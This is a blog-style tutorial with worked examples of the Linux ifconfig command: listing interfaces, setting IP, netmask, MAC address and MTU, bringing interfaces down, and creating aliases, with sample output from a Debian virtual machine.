Most Linux distributions these days have a fancy graphical user interface for changing your system settings, but sometimes you have to get down and dirty and use the command line. In some cases you are just ssh’d into your machine and do not have the option of using your gui.

Here are a set of examples for using ifconfig (depending on your distribution you may have to use sudo or run as root).

1. Display All Interface(s) Information Using ifconfig -a

If you do not know the interface names currently on your system using the -a flag will display all devices.

erik@debian:~$ /sbin/ifconfig -a
eth6      Link encap:Ethernet  HWaddr 00:0C:29:5C:8E:E0
          inet addr:192.168.3.123  Bcast:192.168.3.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe5c:8ee0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1047636 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1101531 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:152028471 (144.9 MiB)  TX bytes:1003430862 (956.9 MiB)
          Interrupt:185 Base address:0x2000
 
eth7      Link encap:Ethernet  HWaddr 00:0C:29:5C:8E:EA
          inet6 addr: fe80::20c:29ff:fe5c:8eea/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7456 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:984140 (961.0 KiB)  TX bytes:468 (468.0 b)
          Interrupt:169 Base address:0x2080
 
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:28841 errors:0 dropped:0 overruns:0 frame:0
          TX packets:28841 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:4458291 (4.2 MiB)  TX bytes:4458291 (4.2 MiB)

As you can see, on my system I have eth6, eth7, an lo (the loopback) interface. This also displays the type of Link I have, the HWaddr or MAC address of that interface. You may recognize that I am using a VMware virtual machine via the OUI. I currently have IPv6 support, hence the IPv6 address. Among other things, there is also the packet count of received and sent packets and the total byte count. Pretty handy!

2. Display Specific Interface Information Using ifconfig ethX

Lets say you know which interface you want to look at. Execute the command ifconfig eth0 where eth0 is the interface name you want to look at.

erik@debian:~$ /sbin/ifconfig eth6
eth6      Link encap:Ethernet  HWaddr 00:0C:29:5C:8E:E0
          inet addr:192.168.3.123  Bcast:192.168.3.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe5c:8ee0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1047863 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1101749 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:152082031 (145.0 MiB)  TX bytes:1003540856 (957.0 MiB)
          Interrupt:185 Base address:0x2000

3. Set The IP Address Of A Specific Interface

Now that you know how to display your interface, you probably want to know how to set the IP address. It is quite easy:

erik@debian:~$ /sbin/ifconfig eth6 192.168.3.100 up

Or if you need to set your network mask as well:

erik@debian:~$ /sbin/ifconfig eth6 192.168.3.100 netmask 255.255.255.0 up

4. Set The MAC Address Of A Specific Interface

To set the MAC address of an interface using ifconfig do the following:

erik@debian:~$ /sbin/ifconfig eth0 hw ether de:ad:be:ef:fe:ed

5. Set the MTU Size For Your Interface

Sometimes you may need to say the maximum transmission unit for your interface, especially if you are part of a virtual lan (vlan). To set the MTU size with ifconfig:

erik@debian:~$ /sbin/ifconfig eth0 mtu 1300 up

6. Clear The IP Address And Bring The Interface Down

To clear the IP address and bring your interface offline execute the command with ifconfig:

erik@debian:~$ /sbin/ifconfig eth0 0.0.0.0 down

7. Create Alias or Virtual Interface With ifconfig:

To make a virtual interface or network alias with ifconfig use the colon. For example, your interface is connected to a network with a switch, and on that switch there are two distinct networks. You can create an alias that will allow you to be on both networks simultaneously.

debian:/home/erik# ifconfig eth6:1 192.168.100.23 up
debian:/home/erik# ifconfig -a
eth6      Link encap:Ethernet  HWaddr 00:0C:29:5C:8E:E0
          inet addr:192.168.3.123  Bcast:192.168.3.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe5c:8ee0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1048915 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1102915 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:152305452 (145.2 MiB)  TX bytes:1004365368 (957.8 MiB)
          Interrupt:185 Base address:0x2000
 
eth6:1    Link encap:Ethernet  HWaddr 00:0C:29:5C:8E:E0
          inet addr:192.168.100.23  Bcast:192.168.100.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:185 Base address:0x2000

To remove the alias just enter:

debian:/home/erik# ifconfig eth6:1 down